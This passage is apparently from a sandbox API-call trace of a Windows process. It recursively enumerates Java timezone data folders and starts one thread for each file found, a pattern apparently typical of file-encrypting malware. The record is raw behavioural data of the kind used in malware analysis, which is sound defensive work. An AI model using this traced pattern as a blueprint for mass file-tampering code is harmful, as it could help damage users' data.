(x86)\\Java\\jre7\\lib\\zi\\Africa\\Tripoli" [0174.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8ff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0174.214] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tunis", cAlternateFileName="")) returned 1 [0174.214] wcscmp (_String1="Tunis", _String2=".") returned 1 [0174.214] wcscmp (_String1="Tunis", _String2="..") returned 1 [0174.214] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8878 [0174.214] wcscpy (in: _Dest=0x8e8878, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0174.214] wcscat (in: _Dest=0x8e8878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0174.215] wcscat (in: _Dest=0x8e8878, _Source="Tunis" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis" [0174.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0174.216] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windhoek", cAlternateFileName="")) returned 1 [0174.216] wcscmp (_String1="Windhoek", _String2=".") returned 1 [0174.216] wcscmp (_String1="Windhoek", _String2="..") returned 1 [0174.216] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8d28 [0174.216] wcscpy (in: _Dest=0x8e8d28, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0174.216] wcscat (in: _Dest=0x8e8d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0174.216] wcscat (in: _Dest=0x8e8d28, _Source="Windhoek" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek" [0174.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0174.217] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windhoek", cAlternateFileName="")) returned 0 [0174.217] FindClose (in: hFindFile=0x8d9e90 | out: hFindFile=0x8d9e90) returned 1 [0174.218] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92aa28) returned 1 [0174.218] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f16e8) returned 1 [0174.218] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f298) returned 1 Thread: id = 5286 os_tid = 0xfd0 [0164.235] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1758 [0164.235] wcscpy (in: _Dest=0x8f1758, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0164.235] wcscat (in: _Dest=0x8f1758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0164.235] wcscat (in: _Dest=0x8f1758, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*" [0164.235] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92d0a8 [0164.235] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da510 [0170.775] wcscmp (_String1=".", _String2=".") returned 0 [0170.775] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.450] wcscmp (_String1="..", _String2=".") returned 1 [0171.450] wcscmp (_String1="..", _String2="..") returned 0 [0171.450] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adak", cAlternateFileName="")) returned 1 [0171.450] wcscmp (_String1="Adak", _String2=".") returned 1 [0171.450] wcscmp (_String1="Adak", _String2="..") returned 1 [0171.450] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93ca58 [0171.450] wcscpy (in: _Dest=0x93ca58, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0171.450] wcscat (in: _Dest=0x93ca58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0171.451] wcscat (in: _Dest=0x93ca58, _Source="Adak" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Adak") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Adak" [0185.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ca58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0185.903] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anchorage", cAlternateFileName="ANCHOR~1")) returned 1 [0185.903] wcscmp (_String1="Anchorage", _String2=".") returned 1 [0185.903] wcscmp (_String1="Anchorage", _String2="..") returned 1 [0185.903] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cff00 [0185.903] wcscpy (in: _Dest=0x8cff00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.903] wcscat (in: _Dest=0x8cff00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.903] wcscat (in: _Dest=0x8cff00, _Source="Anchorage" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anchorage") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anchorage" [0185.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cff00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e8 [0185.904] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anguilla", cAlternateFileName="")) returned 1 [0185.904] wcscmp (_String1="Anguilla", _String2=".") returned 1 [0185.904] wcscmp (_String1="Anguilla", _String2="..") returned 1 [0185.905] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfd80 [0185.905] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.905] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.905] wcscat (in: _Dest=0x8cfd80, _Source="Anguilla" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anguilla") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anguilla" [0185.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188 [0185.906] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antigua", cAlternateFileName="")) returned 1 [0185.906] wcscmp (_String1="Antigua", _String2=".") returned 1 [0185.906] wcscmp (_String1="Antigua", _String2="..") returned 1 [0185.906] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93cad0 [0185.906] wcscpy (in: _Dest=0x93cad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.906] wcscat (in: _Dest=0x93cad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.906] wcscat (in: _Dest=0x93cad0, _Source="Antigua" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Antigua") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Antigua" [0185.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c4 [0185.907] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Araguaina", cAlternateFileName="ARAGUA~1")) returned 1 [0185.907] wcscmp (_String1="Araguaina", _String2=".") returned 1 [0185.907] wcscmp (_String1="Araguaina", _String2="..") returned 1 [0185.907] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0900 [0185.907] wcscpy (in: _Dest=0x8d0900, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.907] wcscat (in: _Dest=0x8d0900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.907] wcscat (in: _Dest=0x8d0900, _Source="Araguaina" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Araguaina") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Araguaina" [0185.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c [0185.909] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Argentina", cAlternateFileName="ARGENT~1")) returned 1 [0185.909] wcscmp (_String1="Argentina", _String2=".") returned 1 [0185.909] wcscmp (_String1="Argentina", _String2="..") returned 1 [0185.909] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0200 [0185.909] wcscpy (in: _Dest=0x8d0200, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.909] wcscat (in: _Dest=0x8d0200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.909] wcscat (in: _Dest=0x8d0200, _Source="Argentina" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina" [0185.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d0200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17f0 [0185.910] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aruba", cAlternateFileName="")) returned 1 [0185.910] wcscmp (_String1="Aruba", _String2=".") returned 1 [0185.910] wcscmp (_String1="Aruba", _String2="..") returned 1 [0185.910] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c3c8 [0185.910] wcscpy (in: _Dest=0x93c3c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.910] wcscat (in: _Dest=0x93c3c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.910] wcscat (in: _Dest=0x93c3c8, _Source="Aruba" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Aruba") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Aruba" [0185.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10 [0185.912] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asuncion", cAlternateFileName="")) returned 1 [0185.912] wcscmp (_String1="Asuncion", _String2=".") returned 1 [0185.912] wcscmp (_String1="Asuncion", _String2="..") returned 1 [0185.912] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cff80 [0185.912] wcscpy (in: _Dest=0x8cff80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.912] wcscat (in: _Dest=0x8cff80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.912] wcscat (in: _Dest=0x8cff80, _Source="Asuncion" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Asuncion") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Asuncion" [0185.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cff80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4 [0185.913] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atikokan", cAlternateFileName="")) returned 1 [0185.913] wcscmp (_String1="Atikokan", _String2=".") returned 1 [0185.913] wcscmp (_String1="Atikokan", _String2="..") returned 1 [0185.913] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0d80 [0185.913] wcscpy (in: _Dest=0x8d0d80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.913] wcscat (in: _Dest=0x8d0d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.913] wcscat (in: _Dest=0x8d0d80, _Source="Atikokan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Atikokan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Atikokan" [0185.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170 [0185.914] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahia", cAlternateFileName="")) returned 1 [0185.914] wcscmp (_String1="Bahia", _String2=".") returned 1 [0185.915] wcscmp (_String1="Bahia", _String2="..") returned 1 [0185.915] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93cb48 [0185.915] wcscpy (in: _Dest=0x93cb48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.915] wcscat (in: _Dest=0x93cb48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.915] wcscat (in: _Dest=0x93cb48, _Source="Bahia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia" [0185.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e4 [0185.916] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahia_Banderas", cAlternateFileName="BAHIA_~1")) returned 1 [0185.916] wcscmp (_String1="Bahia_Banderas", _String2=".") returned 1 [0185.916] wcscmp (_String1="Bahia_Banderas", _String2="..") returned 1 [0185.916] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x12c50170 [0185.916] wcscpy (in: _Dest=0x12c50170, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.916] wcscat (in: _Dest=0x12c50170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.916] wcscat (in: _Dest=0x12c50170, _Source="Bahia_Banderas" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia_Banderas") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia_Banderas" [0185.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13dc [0185.917] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Barbados", cAlternateFileName="")) returned 1 [0185.917] wcscmp (_String1="Barbados", _String2=".") returned 1 [0185.917] wcscmp (_String1="Barbados", _String2="..") returned 1 [0185.917] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0780 [0185.917] wcscpy (in: _Dest=0x8d0780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0185.917] wcscat (in: _Dest=0x8d0780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0185.917] wcscat (in: _Dest=0x8d0780, _Source="Barbados" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Barbados") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Barbados" [0185.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0185.919] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, 